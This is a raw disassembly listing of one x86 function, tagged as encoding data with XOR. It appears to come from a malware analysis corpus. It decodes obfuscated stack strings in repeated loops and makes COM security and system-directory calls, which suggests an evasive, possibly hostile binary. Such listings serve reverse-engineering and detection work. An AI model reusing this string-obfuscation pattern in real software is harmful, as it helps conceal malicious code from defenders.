Function at 0x412ae6
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x244
mov eax, dword [0x44d02c]
mov dword [esp + 0x44], 0xe91beb37
mov dword [esp + 0x48], 0xed01ef16
mov dword [esp + 0x4c], 0xf11ef300
mov dword [esp + 0x50], 0xf5c7f717
mov dword [esp + 0x54], 0xf9c8fbcf
mov dword [esp + 0x58], 0xfddeffc8
mov dword [esp + 0x5c], 0x815b83d4
mov dword [esp + 0x60], 0x8574876f
mov dword [esp + 0x64], 0x897b8b60
mov dword [esp + 0x68], 0x8d7b8f71
mov dword [esp + 0x6c], 0x914093ac
mov dword [esp + 0x70], 0x95b69744
mov dword [esp + 0x74], 0x99aa9ba3
mov dword [esp + 0x78], 0x9dae9faa
mov dword [esp + 0x7c], 0xa182a3a1
mov dword [esp + 0x80], 0xa549a779
mov dword [esp + 0x84], 0xa990ab56
mov dword [esp + 0x88], 0xad93af9c
mov dword [esp + 0x8c], 0xb14ab38c
mov dword [esp + 0x90], 0xb582b78a
mov dword [esp + 0x94], 0xb99abb9b
mov dword [esp + 0x98], 0xbd4ebf7f
mov dword [esp + 0x9c], 0x41ae434c
mov dword [esp + 0xa0], 0x459f47ab
mov dword [esp + 0xa4], 0x49ac4baf
mov dword [esp + 0xa8], 0x4da14f85
mov dword [esp + 0xac], 0x516353b8
mov dword [esp + 0xb0], 0x5563576b
mov dword [esp + 0xb4], 0x59685b6d
mov dword [esp + 0xb8], 0x5d645f6d
mov dword [esp + 0xbc], 0x614a637c
mov dword [esp + 0xc0], 0x65ae67ad
mov dword [esp + 0xc4], 0x69b96bb0
mov dword [esp + 0xc8], 0x6d426fa4
mov dword [esp + 0xcc], 0x719e734c
mov dword [esp + 0xd0], 0x759b779f
mov dword [esp + 0xd4], 0x795a7b9f
mov dword [esp + 0xd8], 0x7d957fb1
mov dword [esp + 0xdc], 0x1ef0399
mov dword [esp + 0xe0], 0x52907f1
mov dword [esp + 0xe4], 0x9cf0b24
mov dword [esp + 0xe8], 0xdf80fe0
mov dword [esp + 0xec], 0x11e113fd
mov dword [esp + 0xf0], 0x152717fb
mov dword [esp + 0xf4], 0x192d1b23
mov dword [esp + 0xf8], 0x1d2c1f27
mov dword [esp + 0xfc], 0x2110232c
mov dword [esp + 0x100], 0x25142710
mov dword [esp + 0x104], 0x290a2b14
mov dword [esp + 0x108], 0x2dc92ffd
mov dword [esp + 0x10c], 0x31d533c6
mov dword [esp + 0x110], 0x35d937c6
mov dword [esp + 0x114], 0x39013b05
mov dword [esp + 0x118], 0x3d073f0d
mov dword [esp + 0x11c], 0xc1f7c30e
mov dword [esp + 0x120], 0xc5c6c7fa
mov dword [esp + 0x124], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0xe3
ja 0x410193
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x44]
add ecx, 0x1667a9a7
xor ecx, edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
add cl, 0xbd
mov edx, dword [esp]
mov byte [esp + edx + 0x44], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0xe4
jb 0x410160
lea edi, [esp + 0x44]
push 0
push 0
push 0
push 0
push edi
call eax
mov ebp, eax
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x447ff0]
xor ebx, ebx
jmp 0x41066f
mov eax, dword [0x44d030]
mov dword [esp + 0x44], 0x3f3e38e7
mov byte [esp + 0x48], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x41021b
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x44]
mov esi, ecx
xor esi, 0x923cff0a
and ecx, 0x123cff0a
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
add cl, 0xce
mov edx, dword [esp]
mov byte [esp + edx + 0x44], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x4101e0
movzx ecx, word [esp + 0x44]
push 0
push ecx
push 0x44d060
push ebp
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447ff8]
xor ebx, ebx
jmp 0x410668
mov dword [esp + 0xc], eax
mov eax, dword [0x44d034]
mov dword [esp + 0x10], 0xf372f1f0
mov byte [esp + 0x14], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x4102b2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x10]
mov esi, ecx
xor esi, 0xc71992c
and ecx, 0xc71992c
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
add ecx, ecx
sub esi, ecx
mov dword [esp + 0x44], esi
mov ecx, dword [esp + 0x44]
add cl, 0x24
mov edx, dword [esp]
mov byte [esp + edx + 0x10], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x410270
mov dword [esp + 0x40], ebp
mov ecx, dword [esp + 0x258]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x44], 0x13651160
mov dword [esp + 0x48], 0x1f621d6f
mov word [esp + 0x4c], 0x1918
mov dword [esp + 0x4e], 0
mov word [esp + 0x52], 0
mov dword [esp + 4], 0
mov esi, dword [esp + 4]
cmp esi, 0xf
ja 0x410344
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [esp + 4]
mov ebx, dword [esp + 4]
movzx ebx, byte [esp + ebx + 0x44]
mov ebp, esi
xor ebp, 0x66611d84
and esi, 0xe6611d84
lea esi, [esi*2]
add esi, ebp
xor esi, ebx
mov dword [esp], esi
mov ebx, dword [esp]
add bl, 0x6c
mov esi, dword [esp + 4]
mov byte [esp + esi + 0x44], bl
inc dword [esp + 4]
mov esi, dword [esp + 4]
cmp esi, 0x10
jb 0x410300
push edx
push 0
push 0
push 0
push ecx
push edi
mov esi, dword [esp + 0x24]
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x448000]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x270]
mov ebp, dword [esp + 0x25c]
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x448008]
movzx eax, byte [0x44d164]
jmp dword [eax*4 + 0x448010]
mov edi, dword [esp + 0x26c]
mov ebx, dword [esp + 0x264]
mov esi, dword [esp + 0x260]
jmp dword [0x44801c]
push eax
push eax
push eax
push eax
push dword [esp + 0x18]
call dword [0x44d03c]
movzx eax, byte [0x44d164]
jmp dword [eax*4 + 0x448010]
mov dword [esp + 0x10], 0xb11f8f49
mov dword [esp + 0x14], 0xb55fb321
mov dword [esp + 0x18], 0xb951b75f
mov dword [esp + 0x1c], 0xbd9abb62
mov dword [esp + 0x20], 0xa15fbf5d
mov dword [esp + 0x24], 0xa544a345
mov dword [esp + 0x28], 0xa949a745
mov dword [esp + 0x2c], 0xad4bab31
mov dword [esp + 0x30], 0x5135af4e
mov dword [esp + 0x34], 0x558d53c0
mov dword [esp + 0x38], 0x5754
mov byte [esp + 0x3c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2c
ja 0x410479
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x10]
mov edx, eax
xor edx, 0xb8b94a5d
and eax, 0x38b94a5d
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x44]
add al, 0x2f
mov ecx, dword [esp]
mov byte [esp + ecx + 0x10], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2d
jb 0x410440
movzx eax, word [esp + 0x10]
test ax, ax
je 0x4104a1
lea edi, [esp + 0x44]
lea ecx, [esp + 0x12]
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x410490
mov word [edi], 0
movzx eax, word [0x44d166]
test ax, ax
je 0x4104d5
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi + ecx], ax
movzx eax, word [ecx + 0x44d168]
add ecx, 2
test ax, ax
jne 0x4104c0
add edi, ecx
mov word [edi], 0
mov eax, dword [0x44d040]
mov dword [esp + 0x10], 0x2f0e0908
mov dword [esp + 0x14], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 7
ja 0x410553
mov edx, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x10]
mov edi, edx
xor edi, 0x2da90802
and edx, 0x2da90802
lea edi, [edi + edx*2]
mov edx, edi
and edx, ecx
add ecx, edi
sub ecx, edx
mov edi, 0x9835aaff
sub edi, ecx
and edi, edx
not edx
and edx, ecx
sub edx, edi
mov dword [esp], edx
mov ecx, dword [esp]
add cl, 0xf6
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x10], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 8
jb 0x410500
lea ecx, [esp + 0x44]
push dword [esp + 0x10]
push 0xffffffffffffffff
push ecx
push dword [esp + 0x14]
call eax
mov edi, dword [esp + 0x26c]
mov ebx, dword [esp + 0x264]
mov esi, dword [esp + 0x260]
jmp dword [0x44801c]
xor eax, eax
mov ecx, ebp
neg ecx
sbb eax, eax
push 0
push edi
push ebx
push esi
push eax
push ebp
push dword [esp + 0x20]
call dword [0x44d044]
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
mov ecx, ebp
neg ecx
sbb eax, eax
push 0
push edi
push ebx
push esi
push eax
push ebp
push dword [esp + 0x20]
call dword [0x44d044]
jmp dword [0x448024]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448028]
xor ebx, ebx
mov esi, dword [esp + 0xc]
mov edi, dword [esp + 8]
jmp dword [0x448050]
mov dword [esp + 0x44], 0
lea eax, [esp + 0x44]
push eax
push edi
push dword [esp + 0x270]
mov edi, dword [esp + 0x14]
push edi
call dword [0x44d054]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
mov esi, dword [esp + 0xc]
jmp dword [ecx*4 + 0x448030]
push 0
push edi
call dword [0x44d048]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x448038]
mov eax, dword [case.0x41035d.12]
nop
mov bl, 1
jmp eax
jmp dword [0x448050]
push edi
call dword [0x44d058]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push edi
call dword [0x44d058]
jmp dword [0x44805c]
push esi
call dword [0x44d058]
mov ebp, dword [esp + 0x40]
push ebp
call dword [0x44d058]
mov eax, dword [case.0x4101ab.31]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, ebx
add esp, 0x244
pop esi
pop edi
pop ebx
pop ebp
ret
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
shr eax, 0x1f
jmp dword [eax*4 + 0x448750]
mov dword [esi + 0x2c], edi
jmp dword [0x44875c]
push 0x44d000
call fcn.00437580
add esp, 4
nop
push 0x44d000
call fcn.00437580
add esp, 4
jmp dword [0x448764]
mov dword [esi + 0x28], ebx
mov ecx, dword [str.7567fff5468f5b682780aea4c2eb6266]
mov dword [esi + 0x70], 0xf7339fe2
mov word [esi + 0x74], 0
mov byte [esi + 0x76], 0
mov dword [esi + 8], 0
mov eax, dword [esi + 8]
cmp eax, 6
ja 0x410978
nop
nop
nop
nop
mov edx, dword [esi + 8]
mov eax, dword [esi + 8]
movzx eax, byte [esi + eax + 0x70]
mov edi, edx
xor edi, 0xb6f2ee7e
and edx, 0x36f2ee7e
lea edx, [edi + edx*2]
lea edi, [edx + eax]
not eax
or edx, eax
sub eax, edx
lea eax, [edi + eax*2]
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0xd8]
add al, 0x8a
mov edx, dword [esi + 8]
mov byte [esi + edx + 0x70], al
inc dword [esi + 8]
mov eax, dword [esi + 8]
cmp eax, 7
jb 0x410930
mov edx, dword [str.hRjzG3__PETER]
mov dword [esi + 0xd8], 0x1aeefee3
mov dword [esi + 0xdc], 0xe2fbe4ee
mov dword [esi + 0xe0], 0xe2f3e8d6
mov dword [esi + 0xe4], 0xf2e3e2eb
mov dword [esi + 0xe8], 0x23d010ed
mov dword [esi + 0xec], 0xd9ed1913
mov dword [esi + 0xf0], 0x1dd8d3de
mov dword [esi + 0xf4], 0xa5e5031f
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 0x1f
ja 0x410a1d
nop
nop
nop
mov eax, dword [esi + 4]
mov edi, dword [esi + 4]
movzx edi, byte [esi + edi + 0xd8]
mov ebx, eax
xor ebx, 0xe04fe46f
and eax, 0xe04fe46f
lea eax, [ebx + eax*2]
xor eax, edi
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
add al, 0xd5
mov edi, dword [esi + 4]
mov byte [esi + edi + 0xd8], al
inc dword [esi + 4]
mov eax, dword [esi + 4]
cmp eax, 0x20
jb 0x4109e0
movzx ebx, byte [esi + 0xd8]
lea eax, [esi + 0x2e0]
test bl, bl
je 0x410a4b
lea edi, [esi + 0xd9]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [edi]
inc edi
test bl, bl
jne 0x410a40
mov byte [eax], 0
movzx ebx, byte [edx]
test bl, bl
je 0x410a6b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x410a60
mov byte [eax], 0
movzx edx, byte [esi + 0x70]
test dl, dl
je 0x410a8b
lea edi, [esi + 0x71]
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x410a80
mov byte [eax], 0
movzx edx, byte [ecx]
test dl, dl
je 0x410aab
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x410aa0
mov byte [eax], 0
mov dword [esi + 0xd8], 0x99eb9bd1
mov dword [esi + 0xdc], 0xa5daa7ea
mov dword [esi + 0xe0], 0xa1d0a3cf
mov dword [esi + 0xe4], 0xad9dafdc
mov dword [esi + 0xe8], 0xa92dabf0
mov dword [esi + 0xec], 0xb5ddb7d8
mov dword [esi + 0xf0], 0xb192b3f2
mov dword [esi + 0xf4], 0xbdcebfdf
mov dword [esi + 0xf8], 0xb9cebbcc
mov dword [esi + 0xfc], 0xc5abc7cf
mov dword [esi + 0x100], 0xc1bec3ab
mov dword [esi + 0x104], 0xcdbfcfb7
mov dword [esi + 0x108], 0xc9fbcbbe
mov dword [esi + 0x10c], 0xd5e5d7b0
mov dword [esi + 0x110], 0xd1abd3ad
mov dword [esi + 0x114], 0xddeddfa9
mov dword [esi + 0x118], 0xd9abdbb6
mov dword [esi + 0x11c], 0xe595e7a6
mov dword [esi + 0x120], 0xe199e3d7
mov dword [esi + 0x124], 0xed9aef9e
mov dword [esi + 0x128], 0xe998eb87
mov dword [esi + 0x12c], 0xf587f785
mov dword [esi + 0x130], 0xf199f398
mov dword [esi + 0x134], 0xfdedff9c
mov dword [esi + 0x138], 0xf9fafbea
mov byte [esi + 0x13e], 0
mov word [esi + 0x13c], 0
lea ecx, [esi + 0x2e0]
mov dword [esi + 8], 0
mov edx, dword [esi + 8]
cmp edx, 0x66
ja 0x410c0f
nop
nop
nop
mov edx, dword [esi + 8]
mov edi, dword [esi + 8]
movzx edi, byte [esi + edi + 0xd8]
mov ebx, edx
xor ebx, 0x5f04421b
and edx, 0xdf04421b
lea edx, [ebx + edx*2]
xor edx, edi
mov dword [esi + 0x70], edx
mov edx, dword [esi + 0x70]
add dl, 0x79
mov edi, dword [esi + 8]
mov byte [esi + edi + 0xd8], dl
inc dword [esi + 8]
mov edx, dword [esi + 8]
cmp edx, 0x67
jb 0x410bd0
sub eax, ecx
mov dword [esi + 0x70], 0x2343217f
mov dword [esi + 0x74], 0x27bf25b4
mov word [esi + 0x78], 0x5958
mov dword [esi + 0x7a], 0
mov byte [esi + 0x7e], 0
mov dword [esi + 4], 0
mov edx, dword [esi + 4]
cmp edx, 0xe
ja 0x410c79
nop
mov edx, dword [esi + 4]
mov edi, dword [esi + 4]
movzx edi, byte [esi + edi + 0x70]
mov ebx, edx
xor ebx, 0x961e2cb8
and edx, 0x161e2cb8
lea edx, [ebx + edx*2]
xor edx, edi
mov dword [esi + 8], edx
mov edx, dword [esi + 8]
add dl, 0x68
mov edi, dword [esi + 4]
mov byte [esi + edi + 0x70], dl
inc dword [esi + 4]
mov edx, dword [esi + 4]
cmp edx, 0xf
jb 0x410c40
lea edx, [esi + 0x6c]
lea ecx, [esi + 0x50]
lea edi, [esi + 0xd8]
lea ebx, [esi + 0x70]
push edx
push ecx
push eax
lea eax, [esi + 0x2e0]
push eax
push edi
push ebx
push 0x44d060
call fcn.0040f700
add esp, 0x1c
movzx eax, al
jmp dword [eax*4 + 0x448768]
xor ebx, ebx
xor eax, eax
test ebx, 0
sete al
jmp dword [eax*4 + 0x448770]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, dword [esi + 0x6c]
mov edx, ecx
and edx, 3
mov eax, ecx
or eax, 3
imul eax, edx
xor edx, 3
mov edi, ecx
and edi, 0xfffffffc
imul edi, edx
mov edx, ecx
not edx
add eax, edi
and edx, 1
mov edi, ecx
and edi, 0xfffffffe
sub edi, edx
mov edx, dword [esi + 0x50]
shr eax, 2
mov ebx, edx
movzx edx, byte [edx + edi]
cmp edx, 0x3d
je 0x410d1c
cmp edx, 0x2e
jne 0x410d1d
dec eax
movzx ecx, byte [ebx + ecx - 2]
cmp ecx, 0x3d
lea edi, [esi + 0xd8]
je 0x410d32
cmp ecx, 0x2e
jne 0x410d39
mov ecx, eax
not ecx
lea eax, [ecx + eax*2]
push eax
call fcn.0040c470
add esp, 4
push eax
push ebx
mov ebx, eax
call fcn.004381b0
add esp, 8
push dword [esi + 0x50]
call fcn.0043b5c0
add esp, 4
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x448770]
push ebx
call fcn.00403bf0
add esp, 4
mov dword [esi + 0x14], eax
jmp dword [0x448778]
push ebx
call fcn.0040c480
add esp, 4
push dword [esi + 0x14]
call fcn.00404530
add esp, 4
mov ebx, eax
mov word [esi + 0xd8], 0xb4a2
mov byte [esi + 0xda], 0x1e
mov word [esi + 0xdb], 0
mov byte [esi + 0xdd], 0
mov dword [esi + 8], 0
mov eax, dword [esi + 8]
cmp eax, 5
ja 0x410dfd
nop
nop
mov eax, dword [esi + 8]
mov ecx, dword [esi + 8]
movzx ecx, byte [esi + ecx + 0xd8]
mov edx, eax
xor edx, 0xd734c93a
and eax, 0xd734c93a
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esi + 0x70], eax
mov eax, dword [esi + 0x70]
add al, 0xde
mov ecx, dword [esi + 8]
mov byte [esi + ecx + 0xd8], al
inc dword [esi + 8]
mov eax, dword [esi + 8]
cmp eax, 6
jb 0x410dc0
push edi
push ebx
call fcn.004045b0
add esp, 8
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x448780]
call fcn.00436c80
movzx eax, al
jmp dword [eax*4 + 0x448788]
mov word [esi + 0xd8], 0xdfa3
mov byte [esi + 0xda], 0x7a
mov word [esi + 0xdb], 0
mov byte [esi + 0xdd], 0
mov dword [esi + 8], 0
mov eax, dword [esi + 8]
cmp eax, 5
ja 0x410ea5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 8]
mov eax, dword [esi + 8]
movzx eax, byte [esi + eax + 0xd8]
mov edx, ecx
not edx
or edx, 0x34d08c3f
add edx, ecx
xor ecx, 0x34d08c3f
lea ecx, [ecx + edx*2]
add ecx, 2
xor ecx, eax
mov dword [esi + 0x70], ecx
mov eax, dword [esi + 0x70]
add al, 0xc5
mov ecx, dword [esi + 8]
mov byte [esi + ecx + 0xd8], al
inc dword [esi + 8]
mov eax, dword [esi + 8]
cmp eax, 6
jb 0x410e60
push edi
push ebx
call fcn.004045b0
add esp, 8
mov dword [esi + 0x58], eax
mov word [esi + 0xd8], 0x6859
mov byte [esi + 0xda], 0xc6
mov dword [esi + 0xdb], 0
mov dword [esi + 8], 0
mov eax, dword [esi + 8]
cmp eax, 6
ja 0x410f27
nop
nop
nop
nop
nop
mov eax, dword [esi + 8]
mov ecx, dword [esi + 8]
movzx ecx, byte [esi + ecx + 0xd8]
mov edx, eax
xor edx, 0xdef613b1
and eax, 0xdef613b1
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esi + 0x70], eax
mov eax, dword [esi + 0x70]
mov ecx, eax
xor ecx, 0x75
and eax, 0xa
add eax, eax
sub eax, ecx
mov ecx, dword [esi + 8]
mov byte [esi + ecx + 0xd8], al
inc dword [esi + 8]
mov eax, dword [esi + 8]
cmp eax, 7
jb 0x410ee0
push edi
push ebx
call fcn.004045b0
add esp, 8
mov dword [esi + 8], 0x91073d38
mov dword [esi + 0x70], 0
mov ecx, dword [esi + 0x70]
cmp ecx, 3
ja 0x410f8f
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x70]
mov edx, dword [esi + 0x70]
movzx edx, byte [esi + edx + 8]
mov edi, ecx
xor edi, 0xc57b1e5
and ecx, 0xc57b1e5
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esi + 0xd8], ecx
mov ecx, dword [esi + 0xd8]
add cl, 0x87
mov edx, dword [esi + 0x70]
mov byte [esi + edx + 8], cl
inc dword [esi + 0x70]
mov ecx, dword [esi + 0x70]
cmp ecx, 4
jb 0x410f50
xor ecx, ecx
test eax, eax
setg cl
mov dword [esi + 0x54], ecx
lea eax, [esi + 8]
push eax
push ebx
call fcn.004045b0
add esp, 8
mov dword [esi + 0x38], eax
push ebx
call fcn.00411b90
add esp, 4
push dword [esi + 0x14]
call fcn.004047a0
add esp, 4
lea edi, [esi + 0xd8]
mov ecx, edi
push 1
call fcn.0040ce30
push edi
call fcn.00422af0
add esp, 4
mov ecx, edi
call fcn.0040d760
lea edi, [esi + 0x70]
mov ecx, edi
push 3
call fcn.0040ce30
push edi
call fcn.00423250
add esp, 4
mov ecx, edi
call fcn.0040d760
mov edi, dword [esi + 0x2c]
mov ecx, edi
push 1
call fcn.0040ce30
push edi
call fcn.004235b0
add esp, 4
mov ecx, edi
call fcn.0040d760
mov edi, dword [esi + 0x28]
mov ecx, edi
push 1
call fcn.0040ce30
push edi
call fcn.004264a0
add esp, 4
push edi
call fcn.00426df0
add esp, 4
push edi
call fcn.00427260
add esp, 4
push edi
call fcn.0042a240
add esp, 4
mov ecx, edi
call fcn.0040d760
mov edi, dword [esi + 0x48]
mov ecx, edi
push 1
call fcn.0040ce30
push edi
call fcn.00428fc0
add esp, 4
mov ecx, edi
call fcn.0040d760
mov edi, dword [esi + 0x44]
mov ecx, edi
push 1
call fcn.0040ce30
push edi
call fcn.0042bf10
add esp, 4
push edi
call fcn.00432510
add esp, 4
mov eax, dword [esi + 0x54]
jmp dword [eax*4 + 0x448790]
push edi
call fcn.00432680
add esp, 4
mov ecx, edi
call fcn.0040d760
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edi, dword [esi + 0x30]
mov dword [edi], 0x9a9599c6
mov dword [edi + 4], 0x26e880
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 7
mov ebx, dword [esi + 0x40]
ja 0x411110
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 4]
mov ecx, dword [esi + 4]
movzx edx, byte [edi + ecx]
lea ecx, [eax + 0x48]
and ecx, edx
add eax, edx
sub eax, ecx
mov edx, 0x79f9cab7
sub edx, eax
add eax, 0xbb390148
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
mov dword [esi + 8], ecx
mov eax, dword [esi + 8]
add al, 0x98
mov ecx, dword [esi + 4]
mov byte [edi + ecx], al
inc dword [esi + 4]
mov eax, dword [esi + 4]
cmp eax, 8
jb 0x4110d0
mov eax, dword [str.7567fff5468f5b682780aea4c2eb6266]
mov dword [esi + 0x14], eax
mov dword [ebx], 0x81c12dea
mov byte [ebx + 4], 0
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 4
ja 0x41117c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 4]
mov edx, eax
not edx
or edx, 0x2a877d21
add edx, eax
xor eax, 0x2a877d21
lea eax, [eax + edx*2]
add eax, 2
mov edx, dword [esi + 4]
movzx edx, byte [ebx + edx]
xor eax, edx
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
add al, 0x5b
mov edx, dword [esi + 4]
mov byte [ebx + edx], al
inc dword [esi + 4]
mov eax, dword [esi + 4]
cmp eax, 5
jb 0x411140
mov edx, dword [str.hRjzG3__PETER]
mov edi, dword [esi + 0x24]
mov dword [edi], 0x7a2e5e63
mov dword [edi + 4], 0x5c2a2421
mov dword [edi + 8], 0x2427282f
mov dword [edi + 0xc], 0x6f2d2e57
mov dword [edi + 0x10], 0x6a3c303e
mov dword [edi + 0x14], 0x777e7d7c
mov dword [edi + 0x18], 0x62463c30
mov byte [edi + 0x1c], 0xa0
mov dword [edi + 0x1d], 0
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 0x20
ja 0x411229
nop
mov eax, dword [esi + 4]
mov edi, eax
mov ebx, eax
xor ebx, 0x7a0fb920
or eax, 0x5f046df
and eax, ebx
mov ebx, dword [esi + 4]
mov ecx, dword [esi + 0x24]
movzx ebx, byte [ecx + ebx]
xor edi, 0x5f046df
lea eax, [edi + eax*2]
lea edi, [eax + ebx]
and eax, ebx
add eax, eax
sub edi, eax
mov dword [esi + 8], edi
mov eax, dword [esi + 8]
mov edi, eax
xor edi, 0x5b
and eax, 0x24
add eax, eax
sub eax, edi
mov edi, dword [esi + 4]
mov ecx, dword [esi + 0x24]
mov byte [ecx + edi], al
mov edi, dword [esi + 0x24]
inc dword [esi + 4]
mov eax, dword [esi + 4]
cmp eax, 0x21
jb 0x4111d0
movzx ebx, byte [edi]
mov eax, dword [esi + 0x18]
test bl, bl
je 0x41124b
inc edi
mov eax, dword [esi + 0x18]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [edi]
inc edi
test bl, bl
jne 0x411240
mov byte [eax], 0
movzx ebx, byte [edx]
test bl, bl
je 0x41126d
inc edx
mov ecx, dword [esi + 0x14]
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x411260
jmp 0x411270
mov ecx, dword [esi + 0x14]
mov byte [eax], 0
mov edi, dword [esi + 0x40]
movzx edx, byte [edi]
test dl, dl
je 0x41129d
inc edi
mov ebx, dword [esi + 0x30]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x411290
jmp 0x4112a0
mov ebx, dword [esi + 0x30]
mov byte [eax], 0
movzx edx, byte [ecx]
test dl, dl
je 0x4112bd
inc ecx
mov edi, dword [esi + 0x1c]
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x4112b0
jmp 0x4112c0
mov edi, dword [esi + 0x1c]
mov byte [eax], 0
movzx ecx, byte [ebx]
test cl, cl
je 0x4112db
inc ebx
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [ebx]
inc ebx
test cl, cl
jne 0x4112d0
mov byte [eax], 0
movzx ecx, byte [0x44d000]
test cl, cl
je 0x411301
xor edx, edx
nop
nop
nop
nop
nop
mov byte [eax + edx], cl
movzx ecx, byte [edx + 0x44d001]
inc edx
test cl, cl
jne 0x4112f0
add eax, edx
mov byte [eax], 0
mov dword [edi], 0x21972779
mov dword [edi + 4], 0x3dae2396
mov dword [edi + 8], 0x39883f83
mov dword [edi + 0xc], 0x354d3bb4
mov dword [edi + 0x10], 0x31bd3798
mov dword [edi + 0x14], 0xd8d3380
mov dword [edi + 0x18], 0x96e0f46
mov dword [edi + 0x1c], 0x5ba0bab
mov dword [edi + 0x20], 0x1b207b4
mov dword [edi + 0x24], 0x1dbf03bb
mov dword [edi + 0x28], 0x19921fbf
mov dword [edi + 0x2c], 0x15ab1ba3
mov dword [edi + 0x30], 0x116717a2
mov dword [edi + 0x34], 0x6d651398
mov dword [edi + 0x38], 0x69e76fe5
mov dword [edi + 0x3c], 0x651d6be1
mov dword [edi + 0x40], 0x61d767da
mov dword [edi + 0x44], 0x7dd563d2
mov dword [edi + 0x48], 0x79f17f0b
mov dword [edi + 0x4c], 0x75ce7bca
mov dword [edi + 0x50], 0x71c077cb
mov dword [edi + 0x54], 0x4dc373cd
mov dword [edi + 0x58], 0x49f14ff0
mov dword [edi + 0x5c], 0x455d4bf4
